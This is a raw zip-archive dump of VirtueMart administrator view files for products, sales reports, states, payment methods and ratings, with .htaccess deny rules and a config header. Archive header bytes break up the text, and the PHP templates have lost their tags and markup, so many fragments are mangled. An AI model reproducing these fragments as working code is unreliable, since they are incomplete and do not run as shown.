vmText::_($shoppergroupModel->getDefault(0)->shopper_group_name); } /* Load protocustom lists */ $customsList = $field_model->getCustomsList(); $attribs='style= "width: 300px;"'; $customlist = JHTML::_('select.genericlist', $customsList,'customlist', $attribs); $this->assignRef('customsList', $customlist); $ChildCustomRelation = $field_model->getProductChildCustomRelation(); $this->assignRef('ChildCustomRelation',$ChildCustomRelation); if ($product->product_parent_id > 0) { $parentRelation= $field_model->getProductParentRelation($product->virtuemart_product_id); $this->assignRef('parentRelation',$parentRelation); // Set up labels $info_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_ITEM_INFO_LBL'); $status_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_ITEM_STATUS_LBL'); $dim_weight_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_ITEM_DIM_WEIGHT_LBL'); $images_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_ITEM_IMAGES_LBL'); $delete_message = JText::_('COM_VIRTUEMART_PRODUCT_FORM_DELETE_ITEM_MSG'); } else { if ($task == 'add') $action = JText::_('COM_VIRTUEMART_PRODUCT_FORM_NEW_PRODUCT_LBL'); else $action = JText::_('COM_VIRTUEMART_PRODUCT_FORM_UPDATE_ITEM_LBL'); $info_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_INFO_LBL'); $status_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_STATUS_LBL'); $dim_weight_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_DIM_WEIGHT_LBL'); $images_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_IMAGES_LBL'); $delete_message = JText::_('COM_VIRTUEMART_PRODUCT_FORM_DELETE_PRODUCT_MSG'); } $this->assignRef('product', $product); $product_empty_price = array( 'virtuemart_product_price_id' => 0 , 'virtuemart_product_id' => $virtuemart_product_id , 'virtuemart_shoppergroup_id' => NULL , 'product_price' => NULL , 'override' => NULL , 'product_override_price' => NULL , 'product_tax_id' => NULL , 'product_discount_id' => NULL , 'product_currency' => $vendor->vendor_currency , 'product_price_publish_up' => NULL , 'product_price_publish_down' => NULL , 'price_quantity_start' => NULL , 'price_quantity_end' => NULL ); $this->assignRef ('product_empty_price', $product_empty_price); $this->assignRef('product_parent', $product_parent); /* Assign label values */ $this->assignRef('action', $action); $this->assignRef('info_label', $info_label); $this->assignRef('status_label', $status_label); $this->assignRef('dim_weight_label', $dim_weight_label); $this->assignRef('images_label', $images_label); $this->assignRef('delete_message', $delete_message); $this->assignRef('lists', $lists); // Toolbar if ($product->product_sku) $sku=' ('.$product->product_sku.')'; else $sku=""; if (!empty($product->canonCatLink)) $canonLink = '&virtuemart_category_id=' . $product->canonCatLink; else $canonLink = ''; if(!empty($product->virtuemart_product_id)){ if (!class_exists ('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); $menuItemID = shopFunctionsF::getMenuItemId(JFactory::getLanguage()->getTag()); $text = ''. $product->product_name.$sku.''; } else { $text = $product->product_name.$sku; } $this->SetViewTitle('PRODUCT',$text); $this->addStandardEditViewCommands ($product->virtuemart_product_id); break; case 'massxref_cats': case 'massxref_cats_exe': $this->SetViewTitle('PRODUCT_MASSXREF'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $showVendors = Permissions::getInstance()->check('admin'); $this->assignRef('showVendors',$showVendors); $keyWord =''; $catmodel = VmModel::getModel('category'); $this->assignRef('catmodel', $catmodel); //$this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($catmodel,'category_name'); $categories = $catmodel->getCategoryTree(0,0,false,$this->lists['search']); $this->assignRef('categories', $categories); $catpagination = $catmodel->getPagination(); $this->assignRef('catpagination', $catpagination); //$this->addStandardDefaultViewCommands(); $this->setLayout('massxref'); JToolBarHelper::custom('massxref_cats_exe', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_XREF_CAT_EXE'), false); break; case 'massxref_sgrps': case 'massxref_sgrps_exe': $sgrpmodel = VmModel::getModel('shoppergroup'); $this->addStandardDefaultViewLists($sgrpmodel); $shoppergroups = $sgrpmodel->getShopperGroups(false, true); $this->assignRef('shoppergroups', $shoppergroups); $sgrppagination = $sgrpmodel->getPagination(); $this->assignRef('sgrppagination', $sgrppagination); $this->setLayout('massxref'); JToolBarHelper::custom('massxref_sgrps_exe', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_XREF_SGRPS_EXE'), false); break; default: if ($product_parent_id=JRequest::getInt('product_parent_id',false) ) { $product_parent= $model->getProductSingle($product_parent_id,false); if($product_parent){ $title='PRODUCT_CHILDREN_LIST' ; $link_to_parent = JHTML::_('link', JRoute::_('index.php?view=product&task=edit&virtuemart_product_id='.$product_parent->virtuemart_product_id.'&option=com_virtuemart'), $product_parent->product_name, array('title' => JText::_('COM_VIRTUEMART_EDIT_PARENT').' '.$product_parent->product_name)); $msg= JText::_('COM_VIRTUEMART_PRODUCT_OF'). " ".$link_to_parent; } else { $title='PRODUCT_CHILDREN_LIST' ; $msg= 'Parent with product_parent_id '.$product_parent_id.' not found'; } } else { $title='PRODUCT'; $msg=""; } $this->db = JFactory::getDBO(); $this->SetViewTitle($title, $msg ); $this->addStandardDefaultViewLists($model,'created_on'); /* Get the list of products */ $productlist = $model->getProductListing(false,false,false,false,true); //The pagination must now always set AFTER the model load the listing $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); /* Get the category tree */ $categoryId = $model->virtuemart_category_id; //OSP switched to filter in model, was JRequest::getInt('virtuemart_category_id'); $category_tree = ShopFunctions::categoryListTree(array($categoryId)); $this->assignRef('category_tree', $category_tree); /* Load the product price */ if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); $vendor_model = VmModel::getModel('vendor'); $productreviews = VmModel::getModel('ratings'); foreach ($productlist as $virtuemart_product_id => $product) { $product->mediaitems = count($product->virtuemart_media_id); $product->reviews = $productreviews->countReviewsForProduct($product->virtuemart_product_id); $vendor_model->setId($product->virtuemart_vendor_id); $vendor = $vendor_model->getVendor(); $currencyDisplay = CurrencyDisplay::getInstance($vendor->vendor_currency,$vendor->virtuemart_vendor_id); if(!empty($product->product_price) && !empty($product->product_currency) ){ $product->product_price_display = $currencyDisplay->priceDisplay($product->product_price,(int)$product->product_currency,1,true); } /* Write the first 5 categories in the list */ $product->categoriesList = shopfunctions::renderGuiList('virtuemart_category_id','#__virtuemart_product_categories','virtuemart_product_id',$product->virtuemart_product_id,'category_name','#__virtuemart_categories','virtuemart_category_id','category'); } $mf_model = VmModel::getModel('manufacturer'); $manufacturers = $mf_model->getManufacturerDropdown(); $this->assignRef('manufacturers', $manufacturers); /* add Search filter in lists*/ /* Search type */ $options = array( '' => JText::_('COM_VIRTUEMART_LIST_EMPTY_OPTION'), 'parent' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_PARENT_PRODUCT'), 'product' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRODUCT'), 'price' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRICE'), 'withoutprice' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_WITHOUTPRICE') ); $this->lists['search_type'] = VmHTML::selectList('search_type', JRequest::getVar('search_type'),$options); /* Search order */ $options = array( 'bf' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_BEFORE'), 'af' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_AFTER') ); $this->lists['search_order'] = VmHTML::selectList('search_order', JRequest::getVar('search_order'),$options); // Toolbar JToolBarHelper::custom('massxref_cats', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_XREF_CAT'), true); JToolBarHelper::custom('massxref_sgrps', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_XREF_SGRPS'), true); JToolBarHelper::custom('createchild', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_CHILD'), true); JToolBarHelper::custom('cloneproduct', 'copy', 'copy', JText::_('COM_VIRTUEMART_PRODUCT_CLONE'), true); JToolBarHelper::custom('addrating', 'default', '', JText::_('COM_VIRTUEMART_ADD_RATING'), true); $this->addStandardDefaultViewCommands(); $this->assignRef('productlist', $productlist); $this->assignRef('virtuemart_category_id', $categoryId); $this->assignRef('model', $model); break; } parent::display($tpl); } /** * This is wrong *@deprecated */ function renderMail() { $this->setLayout('mail_html_waitlist'); $this->subject = JText::sprintf('COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT', $this->productName); $notice_body = JText::sprintf('COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_BODY', $this->productName, $this->url); parent::display(); } /** * Renders the list for the discount rules * * @author Max Milbers */ function renderDiscountList($selected,$name='product_discount_id'){ if(!class_exists('VirtueMartModelCalc')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'calc.php'); $discounts = VirtueMartModelCalc::getDiscounts(); $discountrates = array(); $discountrates[] = JHTML::_('select.option', '-1', JText::_('COM_VIRTUEMART_PRODUCT_DISCOUNT_NONE'), 'product_discount_id' ); $discountrates[] = JHTML::_('select.option', '0', JText::_('COM_VIRTUEMART_PRODUCT_DISCOUNT_NO_SPECIAL'), 'product_discount_id' ); // $discountrates[] = JHTML::_('select.option', 'override', JText::_('COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE'), 'product_discount_id'); foreach($discounts as $discount){ $discountrates[] = JHTML::_('select.option', $discount->virtuemart_calc_id, $discount->calc_name, 'product_discount_id'); } $listHTML = JHTML::_('Select.genericlist', $discountrates, $name, '', 'product_discount_id', 'text', $selected ); return $listHTML; } static function displayLinkToChildList($product_id, $product_name) { $db = JFactory::getDBO(); $db->setQuery(' SELECT COUNT( * ) FROM `#__virtuemart_products` WHERE `product_parent_id` ='.$product_id); if ($result = $db->loadResult()){ $result = JText::sprintf('COM_VIRTUEMART_X_CHILD_PRODUCT', $result); echo JHTML::_('link', JRoute::_('index.php?view=product&product_parent_id='.$product_id.'&option=com_virtuemart'), $result, array('title' => JText::sprintf('COM_VIRTUEMART_PRODUCT_LIST_X_CHILDREN',$product_name) )); } } static function displayLinkToParent($product_parent_id) { $db = JFactory::getDBO(); $db->setQuery(' SELECT * FROM `#__virtuemart_products_'.VMLANG.'` as l JOIN `#__virtuemart_products` using (`virtuemart_product_id`) WHERE `virtuemart_product_id` = '.$product_parent_id); if ($parent = $db->loadObject()){ $result = JText::sprintf('COM_VIRTUEMART_LIST_CHILDREN_FROM_PARENT', $parent->product_name); echo JHTML::_('link', JRoute::_('index.php?view=product&product_parent_id='.$product_parent_id.'&option=com_virtuemart'), $parent->product_name, array('title' => $result)); } } } //pure php no closing tag PKs>\)*com_virtuemart/views/report/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\CE,com_virtuemart/views/report/tmpl/default.phpnuW+Areport ); $intervalTitle = JRequest::getVar('intervals','day'); if ( ($intervalTitle =='week') or ($intervalTitle =='month') ) $addDateInfo = true ; else $addDateInfo = false; // if( $this->pagination->limit < $rows ){ // if( ($this->pagination->limitstart + $this->pagination->limit) < $rows ) { // $rows = $this->pagination->limitstart + $this->pagination->limit; // } // } if ( JVM_VERSION == 2 ) JHtml::_('behavior.framework', true); ?>
      report[$j]; //$is = $this->itemsSold[$j]; $s = 0; ?>
      sort('created_on', 'COM_VIRTUEMART_'.$intervalTitle); ?> sort('o.virtuemart_order_id', 'COM_VIRTUEMART_REPORT_BASIC_ORDERS') ; ?> sort('product_quantity', 'COM_VIRTUEMART_REPORT_BASIC_TOTAL_ITEMS') ; ?> sort('order_subtotal_netto', 'COM_VIRTUEMART_REPORT_BASIC_REVENUE_NETTO') ; ?> sort('order_subtotal_brutto', 'COM_VIRTUEMART_REPORT_BASIC_REVENUE_BRUTTO') ; ?> sort('order_item_name', 'COM_VIRTUEMART_PRODUCT_NAME') ; ?> sort('virtuemart_product_id', 'COM_VIRTUEMART_PRODUCT_ID') ; ?>
      totalReport['number_of_ordersTotal']?> totalReport['itemsSoldTotal'];?> totalReport['revenueTotal_netto'];?> totalReport['revenueTotal_brutto'];?>
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(); ?>
      PKs>\+com_virtuemart/views/report/tmpl/index.htmlnuW+APKs>\)%com_virtuemart/views/report/.htaccessnuW+A Order allow,deny Deny from all PKs>\:S:)com_virtuemart/views/report/view.html.phpnuW+ASetViewTitle('REPORT'); $myCurrencyDisplay = CurrencyDisplay::getInstance(); //update order items button $q = 'SELECT * FROM #__virtuemart_order_items WHERE `product_discountedPriceWithoutTax` IS NULL '; $db = JFactory::getDBO(); $db->setQuery($q); $res = $db->loadRow(); if($res) { JToolBarHelper::customX('updateOrderItems', 'new', 'new', JText::_('COM_VIRTUEMART_REPORT_UPDATEORDERITEMS'),false); vmError('COM_VIRTUEMART_REPORT_UPDATEORDERITEMS_WARN'); } $this->addStandardDefaultViewLists($model); $revenueBasic = $model->getRevenue(); if($revenueBasic){ $totalReport['revenueTotal_brutto']= $totalReport['revenueTotal_netto']= $totalReport['number_of_ordersTotal'] = $totalReport['itemsSoldTotal'] = 0 ; foreach($revenueBasic as &$j){ vmdebug('VirtuemartViewReport revenue',$j); $totalReport['revenueTotal_netto'] += $j['order_subtotal_netto']; $totalReport['revenueTotal_brutto'] += $j['order_subtotal_brutto']; $totalReport['number_of_ordersTotal'] += $j['count_order_id']; $j['order_subtotal_netto'] = $myCurrencyDisplay->priceDisplay($j['order_subtotal_netto']); $j['order_subtotal_brutto'] = $myCurrencyDisplay->priceDisplay($j['order_subtotal_brutto']); //$j['product_quantity'] = $model->getItemsByRevenue($j); $totalReport['itemsSoldTotal'] +=$j['product_quantity']; } $totalReport['revenueTotal_netto'] = $myCurrencyDisplay->priceDisplay($totalReport['revenueTotal_netto']); $totalReport['revenueTotal_brutto'] = $myCurrencyDisplay->priceDisplay($totalReport['revenueTotal_brutto']); // if ( 'product_quantity'==JRequest::getWord('filter_order')) { // foreach ($revenueBasic as $key => $row) { // $created_on[] =$row['created_on']; // $intervals[] =$row['intervals']; // $itemsSold[] =$row['product_quantity']; // $number_of_orders[] =$row['count_order_id']; // $revenue[] =$row['revenue']; // } // if (JRequest::getWord('filter_order_Dir') == 'desc') array_multisort($itemsSold, SORT_DESC,$revenueBasic); // else array_multisort($itemsSold, SORT_ASC,$revenueBasic); // } } $this->assignRef('report', $revenueBasic); $this->assignRef('totalReport', $totalReport); //$itemsSold = $model->getItemsSold($revenueBasic); //$this->assignRef('itemsSold', $itemsSold); // I tihnk is to use in a different layout such as product solds // PATRICK K. // $productList = $model->getOrderItems(); // $this->assignRef('productList', $productList); $orderstatusM =VmModel::getModel('orderstatus'); $this->lists['select_date'] = $model->renderDateSelectList(); $orderstates = JRequest::getVar ('order_status_code', array('C','S')); $this->lists['state_list'] = $orderstatusM->renderOSList($orderstates,'order_status_code',TRUE); $this->lists['intervals'] = $model->renderIntervalsList(); $this->assignRef('from_period', $model->from_period); $this->assignRef('until_period', $model->until_period); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); parent::display($tpl); } } PKs>\&com_virtuemart/views/report/index.htmlnuW+APKs>\)$com_virtuemart/views/state/.htaccessnuW+A Order allow,deny Deny from all PKs>\_q  (com_virtuemart/views/state/view.json.phpnuW+AsetQuery($q); $states[$country_id] = $db->loadAssocList(); } echo json_encode($states); } } // pure php no closing tag PKs>\ {Z (com_virtuemart/views/state/tmpl/edit.phpnuW+A
      */?> virtuemart_country_id,JText::sprintf('COM_VIRTUEMART_STATE_COUNTRY',$this->country_name).' '. JText::_('COM_VIRTUEMART_DETAILS') ); ?>
      state->published); ?>
      worldZones, 'virtuemart_worldzone_id', '', 'virtuemart_worldzone_id', 'zone_name', $this->state->virtuemart_worldzone_id); ?>
      worldZones, 'virtuemart_worldzone_id', '', 'virtuemart_worldzone_id', 'zone_name', $this->country->virtuemart_worldzone_id);*/ ?>
      addStandardHiddenToForm(); ?>
      PKs>\))com_virtuemart/views/state/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\*com_virtuemart/views/state/tmpl/index.htmlnuW+APKs>\G-Q +com_virtuemart/views/state/tmpl/default.phpnuW+A
      virtuemart_country_id,JText::sprintf('COM_VIRTUEMART_STATES_COUNTRY',$this->country_name)); ?>
      states ); $i < $n; $i++) { $row = $this->states[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_state_id,null,'virtuemart_state_id'); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=state&task=edit&virtuemart_state_id=' . $row->virtuemart_state_id); ?>
      state_name; ?> virtuemart_worldzone_id; ?> state_2_code; ?> state_3_code; ?>
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(); ?>
      PKs>\%com_virtuemart/views/state/index.htmlnuW+APKs>\r*}~ (com_virtuemart/views/state/view.html.phpnuW+ASetViewTitle(); $model = VmModel::getModel(); // $stateId = JRequest::getVar('virtuemart_state_id'); // $model->setId($stateId); $state = $model->getSingleState(); $countryId = JRequest::getInt('virtuemart_country_id', 0); if(empty($countryId)) $countryId = $state->virtuemart_country_id; $this->assignRef('virtuemart_country_id', $countryId); $isNew = (count($state) < 1); if(empty($countryId) && $isNew){ JError::raiseWarning(412,'Country id is 0'); return false; } $country = VmModel::getModel('country'); $country->setId($countryId); $this->assignRef('country_name', $country->getData()->country_name); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $this->assignRef('state', $state); $zoneModel = VmModel::getModel('Worldzones'); $wzsList = $zoneModel->getWorldZonesSelectList(); $this->assignRef('worldZones', $wzsList); $this->addStandardEditViewCommands(); } else { $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $states = $model->getStates($countryId); $this->assignRef('states', $states); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKs>\ 7com_virtuemart/views/paymentmethod/tmpl/edit_config.phpnuW+Apayment->payment_jplugin_id){ // vmdebug('my payment ',$this->payment); //$parameters = new vmParameters($this->paym->payment_params, JPATH_PLUGINS.DS.'vmpayment'.DS.basename($this->paym->payment_element).'.xml', 'plugin' ); $parameters = new vmParameters($this->payment, $this->payment->payment_element , 'plugin' ,'vmpayment'); echo $rendered = $parameters->render(); } else { echo JText::_('COM_VIRTUEMART_SELECT_PAYMENT_METHOD' ); } PKs>\qzȍ5com_virtuemart/views/paymentmethod/tmpl/edit_edit.phpnuW+A langList; ?>
      payment->payment_name); ?> payment->slug); ?> payment->published); ?> payment->payment_desc); ?> vmPPaymentList ); ?> shopperGroupList ); ?> payment->ordering,'class="inputbox"','',4,4); ?> vendorList); } ?>
      PKs>\/U٤0com_virtuemart/views/paymentmethod/tmpl/edit.phpnuW+A
      payment->virtuemart_paymentmethod_id ); // Loading Templates in Tabs END ?>
      PKs>\u |3com_virtuemart/views/paymentmethod/tmpl/default.phpnuW+Acheck( 'admin' )){ ?>
      perms->check( 'admin' )){ ?> payments ); $i < $n; $i++) { $row = $this->payments[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_paymentmethod_id); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=paymentmethod&task=edit&cid[]=' . $row->virtuemart_paymentmethod_id); ?> "> perms->check( 'admin' )){?>
      sort('payment_name', 'COM_VIRTUEMART_PAYMENT_LIST_NAME'); ?> sort('virtuemart_vendor_id', 'COM_VIRTUEMART_VENDOR'); ?> sort('payment_element', 'COM_VIRTUEMART_PAYMENT_ELEMENT'); ?> sort('ordering', 'COM_VIRTUEMART_LIST_ORDER'); ?> sort('published', 'COM_VIRTUEMART_PUBLISHED'); ?> sort('virtuemart_paymentmethod_id', 'COM_VIRTUEMART_ID') ?>
      payment_name; ?> payment_desc; ?> virtuemart_vendor_id); ?> paymShoppersList; ?> payment_element; ?> ordering; ?> shared; ?> virtuemart_paymentmethod_id; ?>
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(); ?>
      PKs>\)1com_virtuemart/views/paymentmethod/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\2com_virtuemart/views/paymentmethod/tmpl/index.htmlnuW+APKs>\-com_virtuemart/views/paymentmethod/index.htmlnuW+APKs>\),com_virtuemart/views/paymentmethod/.htaccessnuW+A Order allow,deny Deny from all PKs>\~=0com_virtuemart/views/paymentmethod/view.html.phpnuW+AaddHelperPath(JPATH_VM_ADMINISTRATOR.DS.'helpers'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); if (!class_exists ('vmPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmplugin.php'); } if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); $this->assignRef('perms', Permissions::getInstance()); $model = VmModel::getModel('paymentmethod'); //@todo should be depended by loggedVendor // $vendorId=1; // $this->assignRef('vendorId', $vendorId); // TODO logo $this->SetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); $vendorModel = VmModel::getModel('vendor'); $vendorModel->setId(1); $vendor = $vendorModel->getVendor(); $currencyModel = VmModel::getModel('currency'); $currencyModel = $currencyModel->getCurrency($vendor->vendor_currency); $this->assignRef('vendor_currency', $currencyModel->currency_symbol); if ($layoutName == 'edit') { // Load the helper(s) if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $payment = $model->getPayment(); $this->assignRef('payment', $payment); $this->assignRef('vmPPaymentList', self::renderInstalledPaymentPlugins($payment->payment_jplugin_id)); $this->assignRef('shopperGroupList', ShopFunctions::renderShopperGroupList($payment->virtuemart_shoppergroup_ids, true)); if(Vmconfig::get('multix','none')!=='none'){ $vendorList= ShopFunctions::renderVendorList($payment->virtuemart_vendor_id); $this->assignRef('vendorList', $vendorList); } $this->addStandardEditViewCommands( $payment->virtuemart_paymentmethod_id); } else { JToolBarHelper::custom('clonepayment', 'copy', 'copy', JText::_('COM_VIRTUEMART_PAYMENT_CLONE'), true); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $payments = $model->getPayments(); $this->assignRef('payments', $payments); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } function renderInstalledPaymentPlugins($selected){ if ( JVM_VERSION===1) { $table = '#__plugins'; $ext_id = 'id'; $enable = 'published'; } else { $table = '#__extensions'; $ext_id = 'extension_id'; $enable = 'enabled'; } $db = JFactory::getDBO(); //Todo speed optimize that, on the other hand this function is NOT often used and then only by the vendors // $q = 'SELECT * FROM #__plugins as pl JOIN `#__virtuemart_payment_method` AS pm ON `pl`.`id`=`pm`.`payment_jplugin_id` WHERE `folder` = "vmpayment" AND `published`="1" '; // $q = 'SELECT * FROM #__plugins as pl,#__virtuemart_payment_method as pm WHERE `folder` = "vmpayment" AND `published`="1" AND pl.id=pm.payment_jplugin_id'; $q = 'SELECT * FROM `'.$table.'` WHERE `folder` = "vmpayment" and `state`="0" AND `element`<>"moneybookers" ORDER BY `ordering`,`name` ASC'; $db->setQuery($q); $result = $db->loadAssocList($ext_id); if(empty($result)){ $app = JFactory::getApplication(); $app -> enqueueMessage(JText::_('COM_VIRTUEMART_NO_PAYMENT_PLUGINS_INSTALLED')); } $listHTML=''; return $listHTML; } } // pure php not tag PKs>\(VR*com_virtuemart/views/ratings/view.html.phpnuW+Amax_rating = VmConfig::get('vm_maximum_rating_scale',5); $this->assignRef('max_rating', $this->max_rating); $model = VmModel::getModel(); $this->SetViewTitle('REVIEW_RATE' ); /* Get the task */ $task = JRequest::getWord('task'); switch ($task) { case 'listreviews': /* Get the data */ $this->addStandardDefaultViewLists($model); $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $reviewslist = $model->getReviews($virtuemart_product_id); $lists = array(); $lists['filter_order'] = $mainframe->getUserStateFromRequest($option.'filter_order', 'filter_order', '', 'cmd'); $lists['filter_order_Dir'] = $mainframe->getUserStateFromRequest($option.'filter_order_Dir', 'filter_order_Dir', '', 'word'); $this->assignRef('reviewslist', $reviewslist); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); $this->addStandardDefaultViewCommands(false,true); break; case 'edit': /* Get the data */ $rating = $model->getRating($cids); $this->addStandardEditViewCommands(); /* Assign the data */ $this->assignRef('rating', $rating); break; case 'edit_review': JToolBarHelper::divider(); /* Get the data */ $rating = $model->getReview($cids); if(!empty($rating)){ $this->SetViewTitle('REVIEW_RATE',$rating->product_name." (". $rating->customer.")" ); JToolBarHelper::customX('saveReview', 'save', 'save', JText::_('COM_VIRTUEMART_SAVE'), false); JToolBarHelper::customX('applyReview', 'apply', 'apply', JText::_('COM_VIRTUEMART_APPLY'), false); } else { $this->SetViewTitle('REVIEW_RATE','ERROR' ); } JToolBarHelper::customX('cancelEditReview', 'cancel', 'cancel', JText::_('COM_VIRTUEMART_CANCEL'), false); /* Assign the data */ $this->assignRef('rating', $rating); break; default: $this->addStandardDefaultViewCommands(false, true); $this->addStandardDefaultViewLists($model); $ratingslist = $model->getRatings(); $this->assignRef('ratingslist', $ratingslist); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); break; } parent::display($tpl); } } // pure php no closing tag PKs>\'com_virtuemart/views/ratings/index.htmlnuW+APKs>\)+com_virtuemart/views/ratings/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\1com_virtuemart/views/ratings/tmpl/edit_review.phpnuW+A
      max_rating;$i++) { $title = (JText::_("COM_VIRTUEMART_RATING_TITLE").' : '. $i . '/' . $this->max_rating) ; $stars = ''; $rating_options[] = JHTML::_('select.option',$i,$stars); } echo JHTML::_('select.radiolist', $rating_options, 'vote', 'id="vote" class="inputbox"', 'value', 'text', $this->rating->vote); ?>
       
      rating->published); ?>
      addStandardHiddenToForm(); ?>
      PKs>\uު\\-com_virtuemart/views/ratings/tmpl/default.phpnuW+A
      ratingslist) > 0) { $i = 0; $k = 0; $keyword = JRequest::getWord('keyword'); foreach ($this->ratingslist as $key => $review) { $checked = JHTML::_('grid.id', $i , $review->virtuemart_rating_id); $published = JHTML::_('grid.published', $review, $i ); ?> virtuemart_product_id; ?> virtuemart_product_id ; ?>
      sort('created_on', 'COM_VIRTUEMART_DATE') ; ?> sort('product_name') ; ?> sort('rating', 'COM_VIRTUEMART_RATE_NOM') ; ?> sort('published') ?>
      created_on,'LC2',true) , array("title" => JText::_('COM_VIRTUEMART_RATING_EDIT_TITLE'))); ?> product_name, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$review->product_name)); ?> rating) * 24; ?> rating) . '/' . $maxrating) ?>" class="ratingbox" style="display:inline-block;">
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(); ?>
      PKs>\, P2com_virtuemart/views/ratings/tmpl/list_reviews.phpnuW+A
      reviewslist) > 0) { $i = 2; //$k = 0; $keyword = JRequest::getWord('keyword'); foreach ($this->reviewslist as $key => $review) { //vmdebug('my review ',$review); $checked = JHTML::_('grid.id', $i , $review->virtuemart_rating_review_id ,null, 'virtuemart_rating_review_id'); $published = JHTML::_('grid.published', $review, $i); ?> virtuemart_rating_review_id; ?> virtuemart_product_id ?>
      sort('pr.created_on', 'COM_VIRTUEMART_DATE') ; ?> sort('product_name') ; ?> sort('vote', 'COM_VIRTUEMART_RATE_NOM') ; ?> sort('published') ; ?>
      customer.' ('.vmJsApi::date($review->created_on,'LC2',true).')', array("title" => JText::_('COM_VIRTUEMART_RATING_EDIT_TITLE'))); ?> product_name, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$review->product_name)); ?> vote).'.gif',$review->vote,array("title" => (JText::_('COM_VIRTUEMART_RATING_TITLE').' : '. $review->vote . ' :: ' . $this->max_rating))); $maxrating = VmConfig::get('vm_maximum_rating_scale', 5); $ratingwidth = round($review->review_rating) * 24; ?> review_rating) . '/' . $maxrating) ?>" class="ratingbox" style="display:inline-block;">
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(null,'listreviews'); ?>
      PKs>\,com_virtuemart/views/ratings/tmpl/index.htmlnuW+APKs>\)&com_virtuemart/views/ratings/.htaccessnuW+A Order allow,deny Deny from all PKs>\L\P2com_virtuemart/access.xmlnuW+A
      PKs>\!Ycom_virtuemart/virtuemart.cfgnuW+A# Required configuration data for the VirtueMart installer # http://www.virtuemart.net # Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. # http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php # VirtueMart is free software. This version may have been modified pursuant # to the GNU General Public License, and as distributed it includes or # is derivative of works licensed under the GNU General Public License or # other free or open source software licenses. # $Id: virtuemart_defaults.cfg 3726 2011-07-16 12:01:49Z Milbo $ # # Notes: # - The hash-sign (#) is a comment character, but only if it's the first non-blank char on a line # - The equal-sign (=) when the default value is empty, is optional # - Constant values can be used by enclosing them in curly brackets ({}), eg: # some_path_value={JPATH_ROOT}{DS}virtuemart{DS}somewhere [config] ##shop settings shop_is_offline=0 offline_message=Our Shop is currently down for maintenance. Please check back again soon. use_as_catalog=0 